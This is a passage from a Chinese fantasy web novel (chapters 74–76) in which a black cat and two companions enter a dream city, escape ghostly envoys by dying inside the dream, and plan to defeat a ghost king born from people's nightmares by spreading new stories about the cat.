“算了算了。”夏炫哄着它,“已经很狠了。” 黄五爷和葛春对视了一眼,与其龙虎相斗,伤了弟兄和气,不如就此机会握手言和,一起喊小猫一声老大。毕竟,当众拉屎这种事,他们真做不出来。太狠了。 两个人一齐起身,拱手朝着小咪拜:“参见瓢把子!” “参见瓢把子!”聚义帮的各位跟在老大身后,往地上一跪,大声喊。 小咪舔了舔爪子,淡定地喵一声,见惯这种场面。 倒是它的两个人类,被众人围着,有点局促,找了个角落交头接耳。 孙菱小声说:“咪咪这就当上老大啦?鬼域这么容易的嘛。” 夏炫:“这个鬼域, 正常的通关方法应该是我去和他们斗狠, 你在庙里寻找线索。” 斗狠是不可能赢了这群人的。 入夜后,寐城的百姓都发生某种变异,变成半人半鬼的存在。 他们不可能陪着两只鬼,一块一块肉把自己给凌迟了,还是要想其他办法。可这样艰难的处境,居然让小猫兵不血刃地解开了。 猫当了老大后, 马上发布施令,让聚义帮的乞儿们帮它去找人。 乞儿们听“瓢把子”的命令,聚在一起交流。他们消息灵通, 却都没听说过薛静秋。 小咪:“喵?” 是用了别的名字吗? 就像小咪有时是福娃,有时叫丧彪,有时是狸大人一样。 “不若你们拿张她的画像来吧,”黄五爷道:“弟兄们在城里讨生活,看见了她,就来向瓢把子汇报。” 这是个好主意。 “陈家画师画笔如有神,瓢把子不妨让他为你们画张画像。可要我们将他请过来?” “喵!” 在等待陈商音过来前,夏炫朝聚义帮打探消息。 “这城里的鬼王是什么来历?” 葛春摇头,“搞不清楚,有人说他是地下尸气凝结成的大僵尸,也有人说是一只古墓被盗墓贼捣毁跑出来的千年恶鬼。总之,”他说话的声音刻意压低,“千万不要得罪鬼王!” “勾魂使者呢?又是什么来历?” “勾魂使者数量众多,几乎遍布在城里每个角落,声音稍微大一些,就会惊动它们。你记住,在不夜城里,死不可怕,可怕的是被勾走魂魄。” 小咪歪头,“喵?” “死不可怕?”夏炫也抓到重点。 黄五爷扬眉一笑,“死有什么好怕的,咱们聚义帮豪气冲天,何惜一死?” 夏炫只好尬笑几下附和。 “这到底是算npc口嗨,还是这个鬼域的规则。”孙菱跃跃欲试,拿起一把刀,在自己脖子上划拉,“死不可怕,真的吗?” “喵。”小咪站起来,用前爪扒拉她的手,让人不要做这么危险的动作。 孙菱心中一暖,摸了摸小猫的头。 这时,一股淡淡的臭味飘入庙里,几人脸色大变,还没来得及抄起武器,臭气骤然变重,屋顶破瓦被掀开,血红的眼珠子挤满了夜空。 “糟了,是勾魂使者!瓢把子,快跑!” 黄五爷抄起武器,另外只手环住小黑猫,头也不回往外面跑。 “我去,”夏炫连忙跟在他后面,“他怎么抢猫抢得这么熟练啊?” 孙菱不说话,选择了断后,手握住白虹贯日,使用能力时,她能感觉自己柔软白皙的手臂下,巨大的、几乎要喷涌而出的力量。 这样的力量给了她信心,就算是对上了鬼怪,也未必没有一战之力。 她握紧剑,抬头往上看,眉眼冷厉。 但下一秒,孙菱收起能力,毫不犹豫,扭头就跑——屋顶上黑雾如潮,一双又一双暗红的眼睛像摇动的红灯笼,满怀恶意地盯着她。 这是捅了勾魂使者窝吗? 她很快就追上了夏炫,还负责地拉着雇主的衣领,带着他往前面飞奔。 “阿菱你身体素质可以的啊。” “别废话了,要不是看在钱的份上,我才不会拉你。” 孙菱猛地刹住脚步,在前方,又有一道灰黑迷雾卷来。 “瓢把子快跑!咱们弟兄断后。”聚义帮的成员果然义字当先,悍不畏死,冲向了勾魂使者。他们手里挥舞刀剑,将浓雾挡住一时半刻,就在夏炫感动时,见那帮乞儿将刀剑一转,割向自己的脖颈,霎时血气翻涌,恶臭里添上一抹浓重的铁锈味。 小咪趴在黄五爷的肩膀上,猫儿眼瞪得圆圆,不解地看着他们。 在这些人自尽后,一捧血雾散开,身体如同血红的泡沫,瞬间消散,失去了踪影。 尸体去哪里喵? 雾气从四面八方涌来,整座城池都被浸入黑压压的浓雾里。前后左右都已被使者堵住,只有前后几个亲信,将他们围在其中。 黄五爷抱住小咪,夏炫也从一个帮会成员那拿了把刀,跟孙菱并肩而战,“你带着咪咪先跑吧,我……” 话还没说完,他睁大了眼睛,慢慢低下头,肚腹传来冰凉的触觉,一把长剑,戳破了他的肚子,再左右一搅,他看见自己肚里的肠子像水一样流了出来。 夏炫试着把肠子往里面塞,可胸口又被戳了一刀,意识消散前,他回头看一眼,孙菱的脑袋在天上飞,与他对视,脸上同样带着不可置信的神情。 “瓢把子,得罪了。”黄五爷捏住小猫的脖子。 “喵呜。”脖子上传来的力量逐渐增强,小咪喘不过气,吃痛地叫了起来,爪爪在空中挥舞。 窒息感突然消失,那双铁钳般的大手卸了力度,黄五爷叹了口气。 “还不快点!”葛春催促,“快来不及了。” 黄五爷:“我下不去手,你来吧?” 小咪跳到地上,仰头打量着他们,眼睛瞪得圆圆。 葛春提着大刀,看着小猫,犹豫了一下,雾气里突然蹿出条漆黑的铁链子,勾住了他的脚,把他往雾里拖。铁打的汉子脸上露出恐惧的神色,一只腿使劲往铁链上蹬,企图抵抗雾气里传来的力量,“黄五!” 他的身体迅速被拖行,就在一条腿被拉进雾里时,黄五及时赶到,用刀劈掉他的脑袋。做完这些,黄五也来不及再抓小咪,动作迅速地往脖子上一抹。 所有人的尸体都消失了,空气中的血腥味仍在。 小咪趴在地上,煤炭般的一个小圆球,看着浓雾渐渐侵入,把它包裹在一起。猫想了下,把金腰带丢出,趁着所有的使者双眼冒光争夺腰带时,它纵身一跃,跳上旁边的高墙,后爪一蹬,翻墙而过。 “喵喵,来这里。”阿黄的脸又出现了,在一个狗洞里朝小咪招手。 小咪钻进狗洞,跳到了阿黄的怀里。少年后背贴墙,静等一会,又低头从狗洞往外看动静,才小声说:“它们应该是走了。” “喵。”猫小声叫了一声,磨了磨爪子缓解压力。 猫小小的脑袋在使劲思考: 为什么人死了后没有留下尸体? 为什么那些人宁愿死,也不愿意被勾魂使者抓走? 猫想得脑瓜子都大了,气得一口咬住自己的尾巴,用后爪蹬蹬蹬。 它脑子里闪过一束灵光: 除非是,梦? 小咪抬头,不夜城中一轮皎洁明亮的圆月高悬。它从不夜城醒来,几次被追魂使者追杀,时间应该过去很久了,而头顶银白月亮位置不变,依旧挂在最当空。 在不夜城里,时间是不会变换了,因此永远不会天亮。 寐城没有晚上,不夜城没有白天。 不夜城是寐城百姓的一场梦? 在梦里死去,才不可怕,因为他们潜意识知道,自己并不是真正死去。在某些时候,梦中的自己为了避免更可怕的事情发生,会下意识控制自己主动求死,来寻求噩梦结束。 小咪想明白了这点,胡须微颤,轻不可察地松口气。一想到醒来就能看见人类,它就忍不住翘起了尾巴。 猫要不要个高楼把自己摔死呢? 阿黄:“喵喵,我带你先换个地方藏起来吧。” “喵呜。” 小咪跳到了阿黄的肩膀上。它还想弄清楚,不夜城中的人,知不知道自己是梦外自身的一场梦呢? ———— 夏炫猛地坐了起来,擦了擦脸上的冷汗,用手摸向自己的肚子。 还好还好,肠子没有漏出来。 孙菱同一时间惊醒,摸向自己的脖子。 夏炫与她四目相对,看着好好安在她身体的脑袋,心中松了口气,“我刚才好像做了个噩梦,梦见你脑袋飞起来了。” 孙菱:“我还梦见你肠子流一地。” 两人面色微变,异口同声地说:“梦?” 关于梦境的记忆在飞快流逝,人总是这样,刚醒时,对梦还残存一点记忆,可醒来没多久,梦境就像日光下的露水,很快就消失了无痕了。 夏炫一锤脑袋,“我们是不是做了同一个梦?” 孙菱点头,努力回想梦境的一切,可怎么想,脑袋里都只有空空的一片。她懊恼地锤了下自己的脑袋,“坏了,不记得了。” 夏炫把小咪从被窝里翻出来,见小猫还在睡觉,睡得全身都软了。他不放心,把手指搭在小猫的肚子上,感受到猫柔软的小肚子在有规律的起伏,不像是在做噩梦,才重新将猫塞回被窝,让它继续睡觉。 “我出去看看。” 两个人在外面转了一圈,在看见陈商音和他家人时,他们心头都涌起了古怪的感觉。尤其是在看见那位腼腆娇小的夫人时,夏炫后背发凉,比碰见鬼还害怕,心里叫嚣着“危险危险!” 他们更加确定一件事,睡觉时,一定发生了点什么。 “梦。”夏炫摩挲着掌心的小鸟,“我们也许在梦中,进入了不夜城。” 孙菱皱了下眉,“其实每个人都能进入不夜城里,不夜城就藏在人们的梦境里?” 夏炫点头,“难点是,我们醒来以后,不记得梦中发生的事情了。” 也难怪陈商音和其他人对不夜城讳莫如深,视作鬼城。他们只隐约能感觉到有这么一个地方,却不知道不夜城的入口在哪里,便将其视作了鬼城,以讹传讹说是只有鬼魂才能进入不夜城。 “如果不夜城只是梦,那陈掌柜他们害怕的鬼王和勾魂使者是什么?梦境对人造成不了伤害,可我们亲眼看见了,被不夜城勾走魂魄的人,变成什么鬼样子。” “我们在不夜城里也死了,”夏炫回想起肚子裂开,肠子涌出的画面,梦中的记忆淡去,只有最后一幕格外真实,“那个时候,我们是在被勾魂使者追吧,为了躲避它们,才只能用死来唤醒自己。” 孙菱叹口气,忍不住又摸两下自己完好的脖子,“那现在怎么办,回去试着再睡一觉吗?咪咪还没醒来,我们入梦后,说不定还能找到它。” 夏炫点头,给她一只小鸟。 巴掌大的鸟儿,羽毛银白,睁着黄豆小眼,乖巧地看着人。 孙菱怕不小心捏碎这玩意,动作都放轻了,“这是?” “我的影子,名字叫信使,能在暗世界和现实世界穿梭,应该也能在梦与现实传递消息。既然醒来,我们会忘记梦,说不定入梦后,也会忘记一部分现实,你拿着鸟,我们在现实和梦里互相提醒。” 孙菱:“不夜城比寐城危险,你是雇主,留在这里吧。” 夏炫:“现在你能睡着吗?” 孙菱犹豫着说:“可以努力一下吧,那你能睡着吗?” 夏炫不说话,递给她一根棍子。棍子是段伯最喜欢的一条枣木棍,手腕粗细,被段伯每天抹油擦拭,擦得紫红发亮。 孙菱接过枣木棍,摩拳擦掌,眼睛亮了起来。 夏炫忍不住提醒:“轻一点。” “咚!” 一声清脆的响在脑袋上砰开。 他揉着被敲得嗡嗡的脑袋,发黑的眼前金星乱飞,再一睁眼,来到了不夜城中。 “天怎么黑了?”夏炫捂着脑袋,喃喃。 小鸟飞到他的面前,鲜红的喙一张一合,吐出孙菱的声音,“你入梦了,进入不夜城里,这里很危险,你要赶紧找到小咪。” “阿菱?你在哪呢?” “我在寐城。”孙菱简单和夏炫说了下情况。 夏炫脸色发白,“我感觉自己已经被鬼袭击了,我的头好疼,额头肿了一个大包。” 孙菱沉默了,干咳两声,“对对对,都是鬼干的,赶紧去找小咪吧。如果遇到危险,你试着在梦里自杀,或者喊我一下,我看能不能把你摇醒来。” 夏炫捏了捏自己的大腿。 剧痛霎时让他疼得龇牙咧嘴。 真的是梦吗? 如果自己用其他方法通讯,鬼怪或许会从中干扰,诱骗他自杀,可传出孙菱声音的是自己的信使。 夏炫咬了咬牙,先在后厨找了把刀,想到大不了往自己脖子上一抹。 今天夫人的梦不是选秀了,而是御驾亲征,屋里黄沙扬动,鼓声如雷,她坐在万军之中,大喊:“尔等蛮夷,安敢犯我边境!” 夏炫蹲在窗外,偷看一会,心想,没想到夫人外表斯文腼腆,梦里却金戈铁马,这么爽! 在万军之中,他看见了那个熟悉身影。 大猫坐在八匹马拉的马车之上,两只爪子从袖子伸出,搭在了肚皮上。 “小……”不对,这是大咪。 夏炫刚想与咪咪相认,忽觉不对,矮身钻过走廊,来到了书房中。 陈商音在梦里得到狸大人的赏识,成了名扬天下的画师。 在这个梦里,也有一个大咪。 夏炫喃喃:“为什么出现了两个狸大人?” 难道是陈商音和夫人都梦见了狸大人,大咪不是现实的产物,而是他们自己的想象创造出来的虚幻大猫。 那不夜城里,只有两个狸大人吗? 第75章 夏炫还在屋里思索, 鼻尖传来一股臭味,四周飘起淡淡的雾气,把他围在其中。 他心头警铃大作, 来不及反应,一条锁链像蛇一样缠住了他的脚,半边身体被冻得失去知觉。 夏炫往雾里看一眼,咬咬牙,将刀对准自己的脖子,用力一插。 他大口喘气,从梦里醒来。 “再来。” 孙菱抬起了枣木棍。 “咚!” “这脑袋敲起来真脆啊。”孙菱提着棍子蹲下来,摸了摸青年脑袋上肿起的包,曲指又敲了敲,“真有这么脆吗?” “咚!” “好听,就是好头!” 夏炫吸取了教训, 在重复进入几次夜哭城,头顶几个大包, 终于找到了规律。 在一个地方逗留太久, 就会被城中恶鬼察觉, 阴暗之处更容易被发现。对比空荡的街道,城中居民们光怪陆离的梦境,反而是躲避勾魂使者的安全屋。 就是有的梦太离谱了。 “怎么一个大汉会梦见自己涂脂抹粉,当上天下第一美人啊?还要逼着我看他的绝世容光,问我他是不是沉鱼落雁?” 孙菱在外面听得想笑, “你快点去找咪咪。” “我又看见了几只咪咪。” 今晚不止一个人梦见了从浒国来的狸大人。在一个小孩的梦里,他蹲在神庙前许愿:狸大人狸大人,给我一串冰糖葫芦吧。 然后一只大黑猫就扛着一根插满冰糖葫芦的草杆子,来到了他的家里,比人手还大的肉垫在窗户轻拍,圆圆的猫脸钻入窗户。 也有的人梦见大黑猫坐在轿子上,两个肉垫往外一洒,天上就掉了一场雨,大鱼小鱼同雨点一起落下,左右的人们高呼“神迹”,争着低头抢鱼。而大黑猫爪爪捧在一起,嘴角咧开,像庙里的菩萨一样慈祥地看着人们,脑后甚至绽开了一圈金灿灿的佛光。 还有一个人,梦见自己在狸大人柔软的肚皮上打滚,边滚边吸猫毛,嘴里发出奇怪的声音。 “啊~啊~啊~好软~好香~啊~我受不了啦~” “狸大人,我想当你身上的一只跳蚤~我想当你身上的一只跳蚤!” 夏炫在佩服古代人神奇的想象力时,也见到各种各样的大咪。 不过,他最想找到的还是自己家的小咪。 身后雾气聚拢,熟悉的腐臭飘来,他熟练地翻过窗户,刚跳落地,便有一只小黑猫朝他奔来。 “咪咪?” 这下终于不是大咪了。 他心中大喜,蹲下来,手摸着小黑猫的脑袋,摸两下,又听见旁边响起一声猫叫,扭头一看,又有一只巴掌大小毛茸茸的小黑猫,歪头看着自己。 一只、两只、三只…… 许多黑炭球在地上滚动,一个女孩抱着小猫,对他喊:“你是狸大人请来的乳娘吗?” “我?乳娘?” “快来给小猫喂奶啊,饿坏了小姐少爷,狸大人唯你是问!” 小猫毛茸茸的脑袋往他怀里拱,寻找奶嘴的地方。夏炫严词拒绝了喂奶的要求,但一只猫爪从天而降,把他压在了地上。无数只小奶猫翘起尾巴跑过来,一拥而上,把他压在最底下。 夏炫只来得及从猫山里伸出一只手。 “救救命啊——” 孙菱:“这是谁的梦?” “这条街第三户人家。” 孙菱在陈家后院环顾一圈,抱起一只大公鸡,翻过了墙。时间还早,墙头有一层未消的晨雾,仿佛泼了层油。她踩着树立在邻居墙头张望,看见一个少女趴在桌上,在打着瞌睡。 她看眼怀里公鸡,小声喊句得罪,揪掉一根鲜红的羽毛。 随着公鸡一声长叫,打瞌睡的少女从梦中惊醒,揉了揉眼睛,打量着天色。 不夜城里。 夏炫身上的毛茸茸骤然消失,他躺在冰凉的地上,松了口气,又有些不舍。 被小奶猫包围的感觉,真是让人怀念。 “阿炫,”孙菱意识到一件事,“你得小心,马上天就要大亮了。” 夏炫也同样察觉问题所在,“寐城里的人苏醒越多,不夜城里梦越少。” 他失去“梦”的掩护,完全袒露在不夜城中,遇见勾魂使者无地躲藏。 果然,在梦消散不久后,街道上开始飘荡着一缕又一缕灰黑的雾气,雾里鬼影幢幢。 夏炫换了间屋舍躲避,透过窗观察,小声说:“你说,勾魂使者和鬼王,也是谁在做的一场梦吗?” “要是梦,”孙菱扬了扬眉,“那我直接把他们叫醒,就能救你了。就怕它们不是梦,是存在梦里的鬼,我师父说过,暗世界存在类似的鬼怪,叫……梦魇、魇鬼。” 夏炫笑笑,弯起月牙一样的眼睛,还没开口,就听见身后有人说:“它们马上要过来了。” “谁?”孙菱问。 夏炫后背发凉,“我、我没有说话啊。” “刚才是你的声音……”孙菱坐在墙头,想起自己从梦中初醒的经历,刚醒来时,她也听见了自己的声音。 夏炫的声音又从信使口中传出:“它们快来了,我要被咬了,我被咬得好痛。” 孙菱全身冰冷,连忙跳到陈家后院。青年就坐在墙下,头低着,在他的脚边,停着只漆黑的大耗子。 耗子一口下去,已经咬破了他的鞋子,鲜血从鞋面涌了出来。 白虹贯日从地上爬起,一剑劈落,将耗子劈成了两半。 孙菱松口气,想到什么,脸色大变,冲向了卧室,“咪咪。” 一只大黑耗子咬住猫尾巴,把它往外拖,看见孙菱,耗子朝她呲了下牙,飞快地跑走了。 小咪原来是睡在被窝里,现在被拖到了地上。孙菱抱起它,看它睡得依旧像一滩水,身上没有什么伤,才松了口气。 她把猫放在夏炫身上,守在一人一猫的身边,无比庆幸自己选择没有入梦。 这么大的耗子,吃掉一个人或许费劲,可吃掉一只小猫,是很容易的事情。 孙菱抚摸小咪的爪爪,一想到自己冲进房里,看到的也许是只被耗子吃得只剩骨架的小猫,心里就忍不住想发狂。 ———— 在夏炫不断被鬼追时,小咪跟在阿黄身边,被他带着在不夜城大街小巷里穿行。 小少年在不夜城长大,对这里的一草一木、每个狗洞都很熟悉,在狗洞间爬来爬去,重新爬回了聚义帮的破庙里。 “瓢把子!” 破庙里立着的神像爬满了青苔,看不清面容,几个帮众坐在地上,看见小咪,哭丧着脸喊:“瓢把子,五爷被勾魂使者抓走啦!” “喵呜?”小咪跳到聚义桌上,歪着脑袋。 被抓到哪里去了喵? “被抓进鬼王的骷髅洞里了。”葛春道:“城中不服鬼王者,或者被使者立即诛杀,或者被关入洞中折磨,折磨到魂飞魄散,自古以来,就没见过从窟窿洞中走出来的人。”他叹了口气,“也不知道黄五能撑到什么时候。” 小咪跳到屋顶上,跑到破庙最上方,遥遥往外看去。 整座城池浸在月光里,屋顶连着屋顶,像片片银色的鱼鳞。在城池尽头,原本是高耸城墙的地方,取而代之的,是座与城墙等高的大骷髅头。骷髅张着大嘴,眼洞里粼粼鬼火闪动,贪婪地凝视不夜城,像是随时就能一口将城池吞下。 “喵?” 小猫歪了歪头。 不夜城里雾气流动,雾气里一道道鬼影飘入了骷髅的巨嘴里。它也看见了黄五。 黄五爷被分成了五块,脑袋挂在使者的铁钩上,嘴里依旧在大骂不休。 “五爷英雄气概,义气冲天,”葛春神情黯然,“今日才知,是我不如他。” 小咪:“喵喵喵!” 猫要救他! “不可。”葛春连忙道:“瓢把子莫要冲动,你也见到了,窟窿洞势力之大,耳目之多,远非我们几个凡人能对抗。除非……” “喵?” “除非有天神相助,否则,人力岂能对抗得了鬼王呢?” 小咪胡须微微颤抖,“喵!” 它低下头,咬出一张照片。照片上的少女杏眼,齐刘海,穿着蓝白的校服。 这是书房里薛静秋的照片。既然不夜城是在梦里,一切都是记忆编织的幻象,小咪便试着回想书房的照片,把它叼了起来。 聚义帮众接过照片,一一传看。 “你们见过这个人吗?” “没有。” “倒是见过几个长得和她有几分像的小姑娘,可年纪对不上。” “瓢把子,恐怕你想找的人不在这儿。”葛春把照片还给小咪,“咱们弟兄们都没印象,不夜城中就真没有这个人了。” 小咪用爪爪按住照片,低下小脑袋,与照片里的女孩对视。 它想到什么,又叫:“喵!” 比这个年纪再大一些喵? 帮众们继续摇头。 “那再大一些喵?” “再大一点,”一个乞儿拍了下脑袋,说:“看这女孩,眉眼之间,是不是同前阵子窟窿洞通缉的女飞侠有几分相似?” 小咪瞪圆眼睛,“喵?” 葛春用手指遮住薛静秋的下半张脸,从怀里拿出一张通缉令。通缉令上的人戴着面巾,露出双圆钝的杏眼,秀眉微拧,目光凌厉。 小猫把脑袋挤过去,和他们一起比较两张图。 画上的人和薛静秋的眉眼相似,可气质截然不同,一个是单纯懵懂的学生,一个是眼神坚毅凌厉的侠客。 “她叫金燕子,是城里有名的飞贼,总是和窟窿洞作对,还杀了好多个勾魂使者。” “喵喵喵?” 小咪扒拉着葛春的手臂,焦急地问:她去了哪里? 葛春顺手揉了揉小猫粉嫩的肉垫,说:“很久没有再听见她的消息了,大家都说,她已经被鬼王所害,变成窟窿洞里的一截白骨。” 小咪的尾巴垂了下来。 它还是决定先醒来,和人类分享自己的消息,于是爬到了破庙最顶上。 猫浑身发亮,像是落满月光,它表情坚定,从高处纵身一跳。 风呼呼从耳边刮过,下落过程中,小咪情不自禁地翻了个身,反应过来时,就已经用最合适的姿势落在地上。 尾巴高高翘起,肉垫踩着地面。 “喵?” 小咪歪了歪脑袋,猫该怎么死掉呢? 它朝着葛春叫:“喵喵喵!” 你来杀死猫。 葛春连忙摆手,“我下不去手。” “喵喵喵。” 快点,猫命令你。 葛春拿起了旁边的刀,看着地上的小黑猫,咬了咬牙,“瓢把子,对不住了!” 小咪:“喵!” 它往前一步,小脑袋往前伸,期待地看着葛春,却见葛春把刀往自己脖子上一抹,一捧鲜红的血雾飞洒出来。 小咪扭过脸,去看其他人。 帮众们有的撞墙,有的解开腰带上吊,有的狂奔入街上,大喊:“啊啊啊!我选择自杀!” 小咪挠了挠地上的稻草,尾巴挫败地甩来甩去。 喵喵喵?想死掉也这么难吗? 这时,它看见一个熟悉的身影朝自己飞奔而来。 “咪咪!” “喵呜~”小咪的尾巴瞬间高高翘了起来,朝着夏炫飞奔而去,但跑了没多久,在看见夏炫后,它顿住脚步,瞬间弹跳到墙头,尾巴炸开毛,谨慎地打量着他。 就像一根树枝分了叉,从青年的后脖的位置,挣扎着长出了另外一个圆形的物体。 晃眼望去,就像他长出了两个头。 “咪咪,终于找到你啦,是咪吧?福娃?” “喵!”小咪这才放心,跳到了夏炫的肩膀上,继续歪头打量着他身后的那张脸。 “怎么啦咪咪?” 夏炫伸手摸着小咪,小咪脑袋往他掌心拱了拱,又跳到他的脑袋顶上,咬着他的头发。 “别舔我嘛。”夏炫弯着眼睛笑,手伸到后面,打算摸了摸小猫,但他的手掌没有碰到猫柔软的毛,而是摸到了另外一个东西。 冰凉、有弹性,就长在他的脑后。 他的手一点点往下,摸到了凹陷的眼睛、隆起的鼻子、柔软的唇瓣。 那是一张长在自己身后的脸。 “我擦——”他吓得像小咪一样跳了起来,心脏狂跳,好半天才冷静下来。 夏炫壮着胆子,拿出两片镜子,借着镜子,看清那个头的模样,虽然五官并不清晰,但他还是认了出来,这是他自己的脸。 “糟了,我们好像在被不夜城同化。”他抚摸着小咪,喃喃:“做梦时,有一个现实的我,也有一个梦中之我。现实的我不记得梦,梦中的我不记得现实,寐城居民都是这样的,而我们是异类。” 他们就算入梦,也还记得自己来寐城的目的。 但如果身后的那个“我”长出来,他们就会被不夜城里诞生的自己代替,会和寐城的居民一样,完全忘记现实的事情。 那就说明,在不夜城里,他们再也找不到薛静秋了。在梦中之我完全长出来前,必须要找到人,这是一条隐藏的时间限制。 夏炫把猜想和孙菱说出来。 孙菱沉默了好一会,才说:“如果被完全同化了,我们还能离开这个时代吗?” 第76章 他们总结出几点规律。 身后的人头在不断生长,在不夜城越久,它生长的速度越快。为了延长时间,他们最好轮换着入梦。 “我来代替你吧。”孙菱说:“我身上变化还没这么大,你想个办法死一死。” “不急。”夏炫蹲下来,抚摸着小咪,“为什么咪咪没有被同化呢?” “咪呜?”小咪歪头, 耳朵抖了下,跳到了地上水泊前。 月光如洗,将水面照成一面银镜,它最先看见的是自己几根长长的胡须,有一根在打架时弄折了,变得有些凌乱。 水镜上的小黑猫也睁着眼睛,与它相望,它打了个哈欠,伸出通红的舌头,镜中的小猫也伸出长舌头,胡须抖了抖,末了还舔了舔自己发干的鼻头。 在第一次看见镜中的小黑猫时,小咪吓得弹跳起来,尾巴蓬松炸开,凶狠地朝着黑猫哈气。镜中的小奶猫也浑身炸毛,朝着它低呜。 小咪猛地冲过去打它,镜中的小猫也不害怕,朝它抬起肉垫。 “啪!” 肉垫击在一起, 触碰到的是冰凉坚硬的质感。 镜中小黑猫歪头,眼神流露出和它同样的疑惑。小咪观察了一个下午,才慢慢意识到, 这只圆头圆脑的小黑猫,就是它自己。 不过,其他猫却很难像它一样想明白这点。 “咪呜咪呜咪呜。”橘狸总是夹着尾巴来找它告状—— 老大老大,胡桃街来了一只黄色的大肥猫,好凶好大,还想冲出来打我。咪呜咪呜,老大,你快点把它给赶跑吧! 小咪喜欢像人一样照镜子,观察自己漆黑顺滑而有光泽的毛发,前臂遒劲发达的肌肉,和有柔软脂肪储备的原始袋。 它是一只能把自己养得很好,健壮有膘的猫。咪知道这点,并且一直引以为豪。 小咪低头看着水泊里的自己。 水里的小黑猫圆脸金瞳,毛发凌乱,光泽黯淡。 “咪呜。”小咪决定白天多抓几只耗子,把这些天丢掉的膘补回来。不过,无论它怎么看,镜里的自己也只有一个脑袋。 猫在不夜城待的时间最久,按理来说,它被同化的速度应该最快。 “咪呜?” “是因为狸大人吗?”夏炫喃喃:“其实咪咪在许多人的梦里已经出现过了。”他锤了下脑袋,“想不通。” 小咪想,也许不只是狸大人,还因为咪的脑袋里有未羊。 “喵呜喵呜。”它跳上了屋顶,示意夏炫也跟上来。 夏炫手脚齐用,费劲爬上去,顺着小猫的提醒往前一看,在望见高愈百米的大骷髅时,他脸色发白,“啊?我们要和这玩意作对?” 这和要小钻风打孙悟空有什么区别? “喵呜喵呜。” “咪咪你说,静秋可能被抓进骷髅洞里了?” “喵!” 夏炫微微皱眉,喃喃:“我们该怎么进去骷髅洞呢?” “先醒来吧,不要在里面待太久。” 他们在破庙待得太久,被勾魂使者察觉到气息,从上往下看,雾气从街头巷尾流动,朝着破庙涌来。 夏炫揉揉小咪的头,往下一跳,身体下坠时,他一个激灵,猛地从梦里醒了过来。 小咪跟着下跳,一个经典的猫跳落地姿势。它呆呆看着逼近的无情,三瓣嘴蠕动,发出小猫的骂声。 喵! 猫要怎么死才能从梦中醒来? 猫的身体不受控制地摇晃,在空中翻转几圈,一个冷冰冰的声音凑到它的耳畔,说:“你昨天拉屎没埋。” 小咪气得大声囔囔:怎么可以这样污猫的清白? ! 它一直是个有素质的好猫,不要侮辱它的猫格。 小咪一下子就从梦里惊醒了过来,朝着人骂骂咧咧大声叫。 孙菱笑着说:“可算醒来啦。” 小咪跑到她的脚边,爪子挠鞋消气,“喵喵喵!” 人,不要污蔑猫。 孙菱笑着把它扛在肩上,“走,咱们吃早饭去。” 陈家夫妇为小咪煮了丰盛的猫饭。中间是柴火烧的鸡,左右摆着新捞的河虾小蟹,鱼汤炖得乳白。 小咪低头,吧唧吧唧喝汤。 “喵呜。”猫吃完,开心地叫了声,抬起爪子洗脸梳毛。 陈商音连忙拿出一把小梳子,为它梳理蓬松的长毛,边梳边笑道:“狸大人这尾巴可真大啊。” 夫人微微笑着,不说话,只用余光偷偷打量小猫。 趁二人都在,孙菱问:“两位听过侠盗金燕子吗?” 按聚义帮所说,金燕子是个有名的女侠客,专与骷髅洞为敌,弄出过很大动静。寐城百姓潜意识里,说不定对这个名字有印象。 陈商音手顿了顿,停下为狸大人梳毛的动作,“金燕子?好像听说过这个名字。” 他的学徒端着碗,倚在门边道:“这不是剑侠传里的女侠盗嘛,天桥老张把她的故事说了好多遍啦。” 两个人抱着猫,来到了天桥边。 说书人还没开始讲故事,旁边就围了一圈小孩。 · “快看,是狸大人!”不知谁声音清脆地喊了一声。 眨眼间,就有许多扎着冲天炮的小孩子围住了小咪。小咪歪头看着他们头顶用红布条扎起的发髻,抬起爪爪,好奇地碰了下。 “狸大人摸我的头!” “狸大人也摸摸我,狸大人也摸摸我。” …… 在小猫被孩子们围追拦堵时,夏炫和孙菱从说书人的口中,知道了金燕子的来历。 金燕子是话本里的一位惩恶扬善的女侠,武艺高超,斩妖除魔,城里许多人喜欢听她的故事。 孙菱有点气馁,“所以,她不是个真人,只是个传奇话本里的角色。是因为人们太喜欢她了,梦见了她,她才会在梦里出现?” 那金燕子便不可能是薛静秋了。 夏炫抿着唇,沉默地翻看说书人的话本,翻到某页时,他皱了下眉,“勾魂使者,鬼王?” 孙菱连忙凑过来,“还真有啊。” 在老先生的话本里,除了金燕子,还有一个千年鬼王。鬼王从西方而来,爱吃活人,所过之处寸土不生…… 故事的结尾,是以金燕子智斗打败鬼王结束,也算有个美满的结局。 而在不夜城里,金燕子却被鬼王所抓,没了音信。 “好家伙,你写这种故事?”夏炫打量着他,想从这位白发大爷脸上看出端倪。 孙菱悄悄唤出影子,怕老者变成鬼王,一口将他们吞下。 说书人连忙摆手,“两位误会了,这不是我写的故事啊,老朽不过一说书的,腹内空空,哪有才华去写话本子。这些故事,都是很多年前便开始流传了。” 夏炫与孙菱对视一眼,走到僻静处小声讨论。 “既然话本没问题,说书人应该也没问题,那怎么会变成这样。难道不夜城里的那个鬼是真的?”孙菱挠头,“现在情况也和话本里不一样,斩妖除魔的主角都消失不见了,鬼王已经不受控制了吧。” 夏炫:“有问题的是寐城。不夜城在寐城人们的梦里诞生,因为这个故事的盛行,鬼王在人们的潜意识里变得很可怕,说不定不少人会做噩梦梦见它。” 孙菱:“就像狸大人一样?” 夏炫点头,“鬼王和勾魂使者,诞生自人们的噩梦。它的力量也在噩梦中不断变强,影响到了现实。这样就形成一个恶性循环,人们越害怕它,不夜城里的鬼王就越强大,以至于最后冲开了剧情的桎梏,把身为主角的金燕子吃掉了。” 孙菱喃喃:“原来是这样。” 但故事里的鬼王就能飞沙走石,喷火行雨,吞云吐雾,远不是人力能及。更可怕的是,在不夜城中,虚构出来的本领会变成真实,它已经无法战胜。 就像葛春说的,除非天神下凡。 天神下凡? 孙菱眼睛一亮,与夏炫异口同声说:“狸大人?” “咪?” 夏炫拿出身上的玻璃珠塞给说书人。 “如此贵重的宝珠,老朽受不得受不得!” 夏炫笑着说:“别客气,老伯,只要你别再讲这些老掉牙的故事了。我这里有一些话本,包叫座的。让我想想……” 孙菱:“狸大人大闹天宫。” “狸大人三打白骨精。” “狸大人三调芭蕉扇。” “狸大人暴打赛亚人!” “狸大人炮轰哥斯拉,狸大人巧夺平安城……” “咪?” 天马行空的故事大获成功,说书人乐得合不拢嘴,把“宝珠”还给夏炫,还慷慨地给了他们一笔“版权费。” 